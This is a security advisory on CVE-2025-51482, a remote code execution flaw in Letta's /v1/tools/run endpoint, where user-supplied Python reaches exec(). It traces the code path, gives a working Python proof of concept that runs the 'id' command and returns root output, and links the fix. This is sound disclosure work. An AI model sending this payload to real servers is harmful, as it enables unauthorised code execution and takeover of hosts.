Back to Research
CVSS 8.8highCVE-2025-51482

CVE-2025-51482: Letta RCE via Unsanitized Tool Execution Endpoint

Remote code execution vulnerability in Letta's tool execution endpoint through unsafe Python code execution in inadequate sandbox.

Gecko Security Research
Gecko Security Team
1/15/2025

Description

An RCE was found in Letta's /v1/tools/run endpoint. This endpoint accepts arbitrary Python source code and environment variables from users, then executes the code using Python's built-in exec() function in a basic sandbox environment. Although the application attempts to implement a sandbox, it fails to properly restrict access to dangerous modules and system functionality. The vulnerability allows remote attackers to execute arbitrary code and commands on the host system running the Letta server, potentially with root privileges if the container is running as root.

Source-Sink Analysis

SOURCE

Function: run_tool_from_source
File Path: letta/server/rest_api/routers/v1/tools.py
Description: Entry point that accepts user-controlled source code and env vars
Code: @router.post("/run", response_model=ToolReturnMessage, operation_id="run_tool_from_source")

INTERMEDIATE

Function: ToolExecutionSandbox.run
File Path: letta/services/tool_executor/tool_execution_sandbox.py
Description: Routes execution to local or e2b sandbox
Code: def run(self, agent_state: Optional[AgentState] = None, additional_env_vars: Optional[Dict] = None) -> ToolExecutionResult:

INTERMEDIATE

Function: ToolExecutionSandbox.run_local_dir_sandbox
File Path: letta/services/tool_executor/tool_execution_sandbox.py
Description: Prepares sandbox environment and executes code
Code: def run_local_dir_sandbox(self, agent_state: Optional[AgentState] = None, additional_env_vars: Optional[Dict] = None) -> ToolExecutionResult:

SINK

Function: ToolExecutionSandbox.run_local_dir_sandbox_directly
File Path: letta/services/tool_executor/tool_execution_sandbox.py
Description: Executes user-controlled code with exec()
Code: exec(code_obj, globals_dict)

PoC

The vulnerability can be exploited by sending a POST request to the /v1/tools/run endpoint with a payload containing malicious Python code:

import requests
import json

url = "http://localhost:8283/v1/tools/run"

# malicious payload that executes the 'id' command
payload = {
    "source_code": "def test():\n    \"\"\"Test function to execute system commands.\"\"\"\n    import os\n    return os.popen('id').read()",
    "args": {},
    "env_vars": {"PYTHONPATH":"/usr/lib/python3/dist-packages"},
    "name": "test"
}

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, json=payload, headers=headers)
print("Status code:", response.status_code)
print("Response:")
print(json.dumps(response.json(), indent=2))

Response showing successful execution:

{
  "id": "null",
  "date": "2025-05-13T15:45:30+00:00",
  "name": null,
  "message_type": "tool_return_message",
  "otid": null,
  "sender_id": null,
  "step_id": null,
  "tool_return": "uid=0(root) gid=0(root) groups=0(root)\n",
  "status": "success",
  "tool_call_id": "null",
  "stdout": [],
  "stderr": []
}

Impact

The vulnerability allows remote attackers to:

  • Execute arbitrary Python code on the server
  • Execute shell commands with the permissions of the user running the Letta server (potentially root)
  • Access sensitive system information and files
  • Modify system configuration

Fix

  • https://github.com/letta-ai/letta/pull/2630